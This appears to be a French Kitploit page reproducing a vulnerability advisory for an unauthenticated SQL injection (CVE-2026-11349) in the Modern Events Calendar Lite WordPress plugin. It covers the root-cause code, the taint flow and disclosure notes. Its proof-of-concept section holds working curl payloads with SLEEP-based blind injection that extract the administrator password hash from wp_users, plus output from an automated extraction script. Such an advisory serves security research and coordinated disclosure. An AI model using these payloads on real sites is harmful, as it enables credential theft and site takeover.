Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — Injection SQL non authentifiée | Kitploit
Outils/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionSécurité des Bases de Données
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — Injection SQL non authentifiée

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Modern Events Calendar Lite <= 7.33.0 — Injection SQL non authentifiée via mec_list_load_more (atts[include] / atts[exclude])

Résumé

DétailValeur
ExtensionModern Events Calendar Lite
Slugmodern-events-calendar-lite
AuteurWebnus
Versions affectées<= 7.33.0 (la version Lite actuellement distribuée par le fournisseur). Le bug est présent sur toute la gamme post-w.org ; confirmé en laboratoire sur 6.5.6 et 7.33.0, confirmé statiquement en 5.21.2. 6.5.6 = dernière version wordpress.org (figée lors de la fermeture du 2022-05-11) ; 7.33.0 = version actuelle distribuée depuis mec.webnus.net
Installations activesCompteur wordpress.org masqué depuis la fermeture ; historiquement 100 000+. Toujours activement distribué/mis à jour par le fournisseur (Lite via mec.webnus.net ; le même code 7.x sous-tend le MEC Pro commercialisé)
CWECWE-89 (Injection SQL)
VulnérabilitéInjection SQL aveugle non authentifiée (temporelle / booléenne / basée sur les erreurs)
Privilège requisAucun (wp_ajax_nopriv_* — pré-authentification)
Interaction utilisateurAucune
CVSS v3.17.5 (Élevé) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
StatutVérifié en laboratoire de bout en bout sur 7.33.0 (actuel) et 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Description

Modern Events Calendar Lite enregistre une famille d'actions admin-ajax.php "load more" non authentifiées pour ses skins de liste d'événements (list, grid, masonry, agenda, timeline, tile, custom). Chaque gestionnaire lit le tableau de requête atts contrôlé par l'attaquant, le fait passer par une fonction auxiliaire nommée sanitize_deep_array() qui — lorsqu'elle est appelée avec ses arguments par défaut — n'effectue aucune désinfection du tout — puis concatène les valeurs atts['include'] (et atts['exclude']) brutes dans un fragment SQL post_id IN (...) exécuté avec $wpdb->get_results() et sans $wpdb->prepare().

Comme les points d'entrée sont enregistrés sur wp_ajax_nopriv_*, aucune authentification, aucun compte, nonce ou interaction utilisateur n'est requis. Un attaquant distant non authentifié peut injecter du SQL arbitraire dans la clause WHERE d'un SELECT sur wp_mec_dates et lire toutes les données de la base WordPress (empreintes de mots de passe utilisateur, secrets/clés wp_options, données d'autres extensions) via des techniques aveugles temporelles / booléennes / basées sur les erreurs.


Cause racine

1. Un « sanitizer » qui ne nettoie rien sur le chemin par défaut

app/libraries/main.php:9607 :

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

La garde (is_array($excludes) and !count($excludes)) fait de la fonction une pure opération nulle lorsque $excludes est le tableau vide par défaut — chaque valeur est recopiée telle quelle. L'intention était visiblement "s'il existe une liste d'exclusion, ignorer ces clés" ; la logique booléenne ignore au contraire tout lorsqu'aucune liste d'exclusion n'est fournie.

2. L'appelant ne fournit pas de $excludes

app/skins/list.php:499-501 (load_more()) :

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts']) est appelée avec un seul argument → $excludes prend par défaut array() → la branche d'opération nulle ci-dessus → $atts est la valeur brute et non fiable de $_REQUEST['atts'].

3. Concaténation brute dans la clause IN (...)

app/libraries/skins.php :

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

Les éléments du tableau sont directement intégrés via implode() dans la chaîne SQL, sans cast entier ni échappement. (absint()/(int) sur chaque élément aurait fermé cette faille.)

4. Exécution sans requête préparée

app/libraries/db.php:79 :

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

La chaîne entièrement construite est transmise telle quelle à $wpdb->get_results().

Flux de contamination (requête → puits) :

root@kitploit:~
$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

Accessibilité

app/skins/list.php:51-52 :

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

L'enregistrement nopriv rend le point d'accès atteignable avant toute authentification. La même structure de load_more() et le constructeur de requête partagé skins.php sont présents dans les skins frères, chacun avec sa propre action wp_ajax_nopriv_*, de sorte que la même injection est atteignable via l'une quelconque des :

Action AJAX (nopriv)Gestionnaire du skin
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

Aucun nonce n'est vérifié dans load_more(), et l'action n'exige la présence d'aucun shortcode d'extension sur une page — les gestionnaires AJAX sont enregistrés inconditionnellement à l'initialisation.


Preuve de concept (vérifiée en laboratoire, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

Toutes les requêtes sont non authentifiées (aucun cookie, aucun nonce). La valeur injectée est placée dans atts[include][] ; la charge utile ferme les deux parenthèses ouvertes du groupe IN ((...) AND (... IN ( et ajoute un OR <sleep> de niveau supérieur pour que la condition soit évaluée pour chaque ligne analysée, puis commente la fin )) ORDER BY ... :

root@kitploit:~
TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: admin hash begins with '$' (phpass)

La requête exacte exécutée (capturée depuis WP_DEBUG_LOG) pour une valeur canari d'erreur atts[include][]=0)MEC_SQLI_CANARY était :

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— le jeton littéral MEC_SQLI_CANARY apparaît tel quel dans l'instruction exécutée, confirmant la concaténation brute. Le paramètre atts[exclude][] (skins.php:803 / 603, NOT IN) est injectable à l'identique (confirmé en laboratoire : atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). La requête et l'injection identiques ont été reproduites sur 7.33.0 (version actuelle) — même canari, même comportement SLEEP.

PoC automatisé

mec-unauth-sqli-poc.py (inclus) est entièrement autonome et ne nécessite aucun identifiant : il confirme l'injection (référence vs SLEEP), puis effectue une extraction aveugle temporelle de données arbitraires (par défaut : @@version, utilisateur de la base, et user_login:user_pass du premier administrateur). Il valide chaque réponse (HTTP 200) et espace les requêtes avec --delay + back-off pour survivre aux WAF/limiters de débit (par ex. mod_evasive). Aucune donnée n'est modifiée (contexte SELECT en lecture seule).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

Impact

Accès non authentifié, accessible depuis le réseau, en lecture complète de la base de données : empreintes de mots de passe wp_users, wp_options (auth_key, secrets API, jetons), et toute autre table. En pratique, cela s'enchaîne en prise de contrôle totale du site (craquage de hash hors ligne, vol de secrets/sessions). L'impact sur l'intégrité est limité — l'injection s'exécute dans un SELECT via $wpdb->get_results(), qui ne permet pas les requêtes empilées — d'où I:N. Des SLEEP/BENCHMARK intensifs pourraient dégrader la disponibilité, mais l'impact principal, démontré de façon fiable, est la confidentialité (C:H), ce qui donne un CVSS 7.5.


Fichiers affectés

Les numéros de ligne sont donnés pour 7.33.0 (actuel) avec 6.5.6 entre parenthèses ; le code est identique sur toute la plage.

FichierLigne (7.33.0 / 6.5.6)Problème
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() est une opération nulle lorsque $excludes est le tableau vide par défaut (la garde !count($excludes))
app/skins/list.php535 / 501atts lu depuis $_REQUEST et passé à sanitize_deep_array() sans $excludes (dans load_more(), 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → point d'entrée non authentifié
app/libraries/skins.php806 / 603-606Tableau include / exclude concaténé via implode() sans échappement dans post_id IN (...) / NOT IN (...) (exclusion à 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() exécute $wpdb->get_results() sans prepare()

Les skins frères (grid, masonry, agenda, timeline, tile, custom) partagent le même load_more() + constructeur de requête skins.php et enregistrent chacun une action wp_ajax_nopriv_* → même bug, multiples points d'entrée.


Distinction par rapport aux CVE d'injection SQL antérieures de Modern Events Calendar

Il s'agit d'un point d'injection distinct et jamais signalé auparavant. Chaque injection SQL MEC documentée publiquement cible une action et un paramètre AJAX différents, et toutes ont été corrigées dans des versions antérieures à cette découverte (elle est confirmée active en laboratoire dans 7.33.0) :

RéférenceAuthentificationAction AJAXParamètreCorrigé dans
CVE-2021-24946Non authentifiémec_load_single_pagetime6.1.5
CVE-2021-4458Non authentifié (uniquement si addslashes/l'échappement des entrées est désactivé)mec_load_single_pageid6.4.0
CVE-2021-24149Authentifié (auteur+/abonné)mec_fes_formmec[post_id]5.16.6
Ce rapportNon authentifié (aucune condition préalable)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]non corrigé (≤ 7.33.0)
  • Chemin de code différent. Les problèmes non authentifiés antérieurs se trouvent dans le gestionnaire d'événement unique mec_load_single_page ; celui-ci se trouve dans la pagination « load more » des skins (load_more() → MEC_skin::initialize() → constructeur post_id IN (...) de app/libraries/skins.php), atteinte via la branche par défaut sans effet de sanitize_deep_array(). Les correctifs de mec_load_single_page ne touchent pas skins.php.
  • Aucune condition de configuration préalable. CVE-2021-4458 (id) n'était exploitable qu'avec l'échappement d'entrée PHP/WordPress désactivé (un état non par défaut) parce que cette valeur se trouve dans un contexte entre guillemets. Ici, les valeurs atts[include]/atts[exclude] arrivent dans un contexte numérique non entre guillemets IN(...) et sont exploitées avec des parenthèses + mots-clés SQL (0)) OR SLEEP(3)#), ce que wp_magic_quotes() ne neutralise pas. C'est donc exploitable sur une installation WordPress par défaut — confirmé en laboratoire sur WP 7.0 standard (magic quotes activés).
  • Survit à tous les correctifs antérieurs. Confirmation d'exploitation sur 7.33.0 — quatre ans et une version majeure après le dernier correctif de mec_load_single_page (6.4.0).

Note de divulgation / périmètre

Modern Events Calendar Lite a été retiré de wordpress.org le 2022-05-11 (« Raison : violation des directives »), de sorte que la version wordpress.org est figée en 6.5.6. Cela ne signifie pas que l'extension est abandonnée — Webnus a poursuivi le développement hors plateforme : la version Lite actuelle distribuée depuis mec.webnus.net est la 7.33.0, et le chemin de code vulnérable y est identique octet pour octet (confirmé en laboratoire ; l'injection SQL se déclenche à l'identique sur 7.33.0). Le bug affecte donc toutes les versions de la gamme post-retrait, pas seulement la copie figée de wordpress.org.

Implications pour l'acheminement de la divulgation (l'objection « fermé sur wordpress.org » est bien plus faible qu'il n'y paraît) :

  • C'est un produit actuel, distribué par le fournisseur et pris en charge, pas un code abandonné — une divulgation coordonnée à Webnus est le canal principal ; ils publient activement des mises à jour et devraient corriger.
  • MEC Pro (vendu activement ; 7.x actuel) est construit sur cette même base de code 7.x. app/libraries/skins.php, app/libraries/main.php, et app/libraries/db.php sont des bibliothèques centrales partagées, donc Pro est quasi certainement affecté. Cela devrait être confirmé contre le code source de Pro avant de l'affirmer formellement, mais l'architecture de bibliothèques partagées le rend très probable. Un impact Pro confirmé rend la découverte sans ambiguïté dans le périmètre de Patchstack (un composant vendu publiquement) et mérite un CVE MITRE/Patchstack indépendamment du statut de la liste wordpress.org.
  • Pour les consommateurs qui s'appuient spécifiquement sur la liste wordpress.org (certains critères de prime Wordfence ; l'exclusion de « composant fermé » de Patchstack telle qu'appliquée à la version gratuite Lite), citez l'impact de la 7.33.0 distribuée par le fournisseur + Pro plutôt que la 6.5.6 figée.

Un CVE est justifié au fond : injection SQL non authentifiée, accessible depuis le réseau, permettant la lecture complète de la base, dans un produit actuel distribué par le fournisseur avec une base d'installations historiques à six chiffres.


Chronologie

DateÉvénement
2026-06-03Découvert lors d'une revue automatisée d'extensions ; vérifié de bout en bout (non authentifié) sur MEC Lite 6.5.6 (version figée wordpress.org)
2026-06-04Revérifié de bout en bout sur 7.33.0 (Lite actuel distribué par le fournisseur depuis mec.webnus.net) ; code/injection identiques confirmés — la découverte est actuelle, pas un artefact de version retirée
2026-06-04Notification au fournisseur (Webnus) + demande de CVE WPScan ; confirmer que MEC Pro partage le même chemin
2026-06-05Vulnérabilité vérifiée et CVE attribué
Télécharger l’outil